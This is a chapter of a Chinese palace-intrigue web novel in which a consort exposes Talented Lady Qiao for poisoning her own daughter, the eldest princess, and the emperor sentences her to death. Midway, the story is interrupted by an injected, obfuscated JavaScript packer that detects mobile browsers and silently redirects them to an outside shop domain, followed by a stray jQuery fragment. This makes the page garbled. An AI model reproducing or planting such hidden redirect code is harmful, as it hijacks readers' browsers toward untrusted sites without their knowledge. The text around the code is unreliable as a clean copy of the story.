春日的阳光也让人烦躁,照在人身上,让人升起一股无名火来。
翠梅很快回来,并带回来一个经常出宫采买的小太监来。
“娘娘,这人说见过不止一次乔才人身边的锦月跟宫外通信。”
进了宫很可能一辈子就出不去了,有人往宫外送东西也是常事,只不过放在这个节骨眼上却可以叫人大做文章。
“本宫记得锦月是乔才人的心腹,送东西这种没什么油水的杂活也落到她头上了,乔才人真是无人可用了啊。”
杨柳儿这话侮辱性极强,若是顺着她的话说那便是无人可用,便是连个可用的宫人都没有。
若是反驳,那就说明锦月亲自去拿的东西有猫腻。
乔才人没好气道:“那是我的家书,自然不好叫别人去拿。我不比琳昭仪,连封家书都收不到。”
杨柳儿轻笑:“家书确实珍贵,不过哪里能比得上亲人见面呢?”
乔才人被气得不轻,曾几何时她也可以常常传召母亲进宫陪伴,可现在连跟母亲通信都难,这都是因为杨柳儿!
她早知道还陷害什么姒嫔,直接杀了杨柳儿多好!
没一会,去搜宫的金薇也回来了:“娘娘,乔才人宫里并未发现什么毒药。”
金薇刚说完这句话,乔才人勾了勾唇:“我都说了,我是池雪的生母,是最不可能害池雪的人。”
“是啊,虎毒不食子,乔主子景能做出毒害亲子的事也实在叫人大开眼界。”金薇是杨柳儿身边的人,如今也能算是杨柳儿的心腹,自然事事都是向着杨柳儿的。
乔才人害过杨柳儿,她犯了事,金薇巴不得落井下石。
“你这个奴才竟敢顶撞主子?琳昭仪,这就是你宫里头的好教养。”乔才人讥讽。
“乔才人也就是会耍耍嘴皮子功夫了。”杨柳儿知道金薇稳重,敢这么跟乔才人说话一定是发现什么能定死乔才人罪名的证据。
“金薇,你可是发现了什么?”
金薇恭敬朝杨柳儿行礼:“原本奴婢是带人搜查乔才人现在住的玉宁殿的,谁知正看见永宁殿外一个小太监眼神躲闪,奴婢便在这个小太监身上找到了这个。”
说着,金薇拿出一包药粉来。
太医拿过药粉验过后断言:“这就是公主所中之毒,亦是那道菜中的毒。”
“太医再去看看,姒嫔的血是否真的可以解毒。”
姒嫔为了救大公主已经划破手指,这会还没完全结痂,挤出一点血来是没问题的。
“姒嫔主子的血确实有解毒奇效。”
乔才人冷哼一声:“在永宁殿的人身上发现的毒药,跟我有什么关系?”
杨柳儿挑眉:“本宫何时说过这毒药跟乔才人有关了?”
“刚才是你这宫女……”
“所以乔才人这是认下了?”
“你这是强词夺理,我什么时候认下了?分明是你这宫女先诬陷我,而后你又把罪名扣在我头上!”乔才人当然不会认,她又不是不知道谋害皇嗣是什么罪名。
之前她只是降位一则是箫初乾对她还有几分愧疚,二则皇嗣并没有真的出事。
这回大公主是真的死了,并且姒嫔害了她两次箫初乾都没有任何表示,是真的不想管她了。
所以杀害大公主的凶手必须是姒嫔。
“你来说。”杨柳儿指着金薇刚带来的那个小太监。
“奴才求娘娘饶命啊!奴才不知道这是能害死人的毒药啊,从前主子们顶多是下点泻药红花,何时真毒死过人了!”小太监把头磕得砰砰响,不过今天不论结果如何,他都是活不成的。
“谁叫你往姒嫔的饭菜里下的毒?”杨柳儿懒得听他哭哭啼啼,他再怎么不知情,大公主被他下的毒药毒死了都是事实。
“是乔才人,他给了奴才三千两银票,叫奴才那那一小包东西放进姒嫔的饮食里。”小太监指着桌上的那一包毒药道。
“是乔才人亲自找的你?”杨柳儿质问。
“当然不是,是乔才人身边的锦月,这种事哪有主子亲自做的?”
杨柳儿怕堵不住乔才人的嘴,便又接着问道:“你可有什么证据?毕竟现在只有你一张嘴,说什么都可以。”
“这……”小太监眼珠子一转,“奴才要是拿出证据来,娘娘可否饶了奴才这条贱命?”
他只图钱,可不想把命搭进去,他也在宫里待了不少年,宫里的形式他看的一清二楚。
琳昭仪和乔才人结怨已久,琳昭仪现在肯定巴不得定乔才人的罪。
“你知道你这罪名足够诛九族吗?”
小太监讪笑:“奴才家里就剩奴才一个人了,奴才活就是九族活。”
“好,你只要能拿出来,本宫就算你立功,免你死罪。”
对此,箫初乾也没什么意见,到底是死了好还是活着好,这要看活着要受什么罪,宫里头叫人求死的法子还是有的。
“多谢娘娘,多谢娘娘!”小太监磕头磕得倒是挺利索。
“奴才拿的银票就在奴才裤头夹层里,奴才现在脱怕是会污了娘娘的眼,不如娘娘叫奴才找个没人的地方拿出来。”小太监满脸堆笑,手放在自己的裤腰带上。
杨柳儿略带嫌弃地别过脸去:“找个人盯着他。”
小太监把银票双手捧着,由金薇交给杨柳儿。
杨柳儿不解:“这银票怎么了?”
小太监解释:“这个钱庄是乔家也就乔才人主子母家的,若是姒嫔主子进京换银票,应当是换钱满贯家的,哪里什么地方的货币都收,乔家的只收现银。况且这银票上还盖着乔才人的私印,想来是当年乔才人的嫁妆。”
乔才人指甲死死掐入掌心,她现在已经没钱了,由奢入俭难,当初皇后贵妃是什么排场,乔才人现在依然要什么排场。
不过多出来的这些就得多花银子,乔才人的例银花完,便只能动用当年嫁给箫初乾时母亲为她准备的嫁妆收买人,没想到被这小太监一眼就看出来了。
宫里混久了人人都是人精,即便是一点小破绽都会被人抓住。
“所以乔才人,你到底为什么要杀自己的亲生女儿?”杨柳儿实在想不通。
“为什么……”乔才人还是被嬷嬷控制着的姿势。
为什么吗?
她也想知道为什么。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17829454|208751||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
其实她是想让大公主和姒嫔一起死的,只是没想到毒药毒不死姒嫔,只毒死了大公主。
她真的很恨自己这个女儿吗?并没有,没有哪个母亲是真的恨自己的女儿。她只是觉得大公主不是跟她一条心,她心里不好受。她只是觉得她的女儿不应该认贼作母,就这么安安分分跟在姒嫔身边。
她想要的到底是什么?
是皇后的尊位,是一个皇子,是家族荣耀,又或者是将来太后的位置。
皇后的尊位她有过,只不过她并不是什么贤良大度的贤后,意识到杨柳儿和孙贵人的孩子可能对她有威胁后,她立刻就拿出当年那位皇后娘娘给她的避孕珠子。
她想要的是一个皇子?孟宝林服过药,她的孩子一定是个皇子,并且这药对母体损害极大,只要她耐心等待几个月,就能有一个皇子。
家族荣耀又与她有什么关系?她的父亲一直拿她当弃子,乔家不知道靠着她得了多少好处,她在乎的不过母亲一人。
太后的位置吗?那她只要安安心心等如今的皇上驾崩就好了。
所以她到底为什么要做这些呢?她做的每一步似乎都是错的。
“她不是不替我报仇吗?她不是要认姒嫔做母妃吗?那就把我给她的这条命还给我,用我给她的这条命替我报仇!”没错就是这样,这就是她原本的想法,可当她看到女儿尸体的那一刻,她后悔了。
杨柳儿闭上眼睛,从前的大公主活泼明媚,而如今却成了冰冷的尸体。
是她的错,若是她没有食言,常去景仁宫找大公主,或许能早些发现这些吧。
萧初乾从走过来将手搭在杨柳儿肩膀上,不知道什么时候起,他总能察觉到杨柳儿的情绪。
能看出来她的小聪明,能看出来她的得意,也能看出来她如今的自责。
“不是你的错,是朕没有考虑周到,是乔氏狠毒连自己的亲生女儿都下得去手。”
“皇上……您现在只愿意叫我‘乔氏’了吗?我是你的结发妻子,陪你吃了这么多年的苦,就只落了这么一句吗?”乔才人似乎是笑着的,不过笑着笑着就哭了起来,又哭又笑,仿佛是个疯子。
“那你还想让朕夸你不成?”
萧初乾在杨柳儿身边站定,环视一圈永宁殿的人,开口道:“乔才人谋害皇嗣陷害妃嫔赐白绫,乔氏一族全族流放,乔氏的心腹宫人乱棍打死。至于你……”
萧初乾还记得杨柳儿承诺过这个小太监留他一命,他自然不会去拆杨柳儿的台:“死罪可免活罪难逃,便去刷恭桶,任何人不得将他调出来。”
“奴才谢皇上恩典,奴才谢皇上恩典!”小太监跪在地上磕头谢恩,总归他是保住了一条命,恭桶他又不是不会刷,刷一辈子而已,轮值的时候他又不是不能歇着。
乔才人和似月锦月都没有再求情,这半生,她们真的累了。
大公主的丧仪是按照嫡公主的规制来的,灵柩安放在玉宁殿内,金棺红绸,六十四人抬棺,又请法师超度,萧初乾甚至前去亲自诵读祭文,最后安葬。
而乔才人最后只得了草席一卷,丢入乱坟岗尸骨被野兽啃食的结局。